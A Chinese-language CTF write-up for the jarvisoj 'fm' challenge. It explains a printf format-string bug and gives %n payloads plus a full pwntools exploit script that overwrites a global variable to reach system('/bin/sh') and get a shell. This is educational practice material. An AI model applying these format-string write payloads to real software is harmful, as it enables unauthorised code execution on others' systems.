【格式化字符串漏洞】jarvisoj_fmm

Thursday, December 29, 2022
本文共821字
2分钟阅读时长

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9Ejarvisoj_fm/。商业转载请联系作者获得授权,非商业转载请注明出处!

Never complain and never explain. — Benjamin Disraeli

原题链接

checksec查看程序架构

$ checksec fm
[*] '/home/peterl/security/workspace/fm/fm'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

有canary,那传统的栈溢出肯定不行了

ida查看程序伪代码

202209251637352022-09-25-16-37-36

我们发现,如果我们想要运行system("/bin/sh)就必须让x等于4。但是我们点进x看一下,发现它是一个等于3的全局变量(要是保存在.rodata节就寄了):

202209251641132022-09-25-16-41-14

我们看一下程序代码,发现这么两行:

read(0, buf, 0x50u);
printf(buf);

直接打印我们输入的字符串,立马想到格式化字符串(所以绝对不能太过相信用户的输入……)

构建exp

格式化字符串覆盖任意地址数据

这种方法基于:

  • format字符串会被保存在栈中
  • %n可以使用

我们首先要找到这个format字符串数据和esp的偏移,我们先输入一大串a,等到call printf的时候查看栈:

202209251650462022-09-25-16-50-46

202209251650292022-09-25-16-50-30

我们看到栈顶前两个数据分别是format字符串和第1个参数,因此我们可以知道我们输入的字符串保存在第11个参数的位置,因此偏移就是11

那么我们就可以构造我们的格式化字符串了:

我们的目的是向我们输入的地址处写入数据4,而我们输入的地址是保存在第十一个参数的位置的,而且刚刚好32位的地址占用四个字节,所以:

payload = pg(0x804a02c) + b"%11$n"

如果想把地址放在后面,因为"%11$n"占用5个字符,为了输入4我们需要在其前面填充4个字符,所以现在一共占用9个字符,我们可以通过填充3个垃圾数据让它占用达到12个字符,让我们的地址在第14个参数的位置:

payload = b"aaaa%14$n!!!" + pg(0x804a02c)

我们也可以用pwntools提供的自动化工具:

# 第一个参数是偏移量,也就是11
# 第二个参数是一个字典,key为需要更改的变量(函数)地址,val为需要更改的值
payload = fmtstr_payload(11, {0x804A02C: 0x4})

完整exp


from pwn import *
from pwn import p64, p32, u32, u64
from LibcSearcher import LibcSearcher

pss: bool = False
fn: str = "./fm"
libc_name:str = "/lib/i386-linux-gnu/libc.so.6"
port: str = ""
if_32: bool = True
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, "break main")
    else:
        p = process(fn,env={"LD_PRELOAD":libc_name})
p.clean()
payload = fmtstr_payload(11, {0x804A02C: 0x4})
p.sendline(payload)
p.clean()
p.interactive()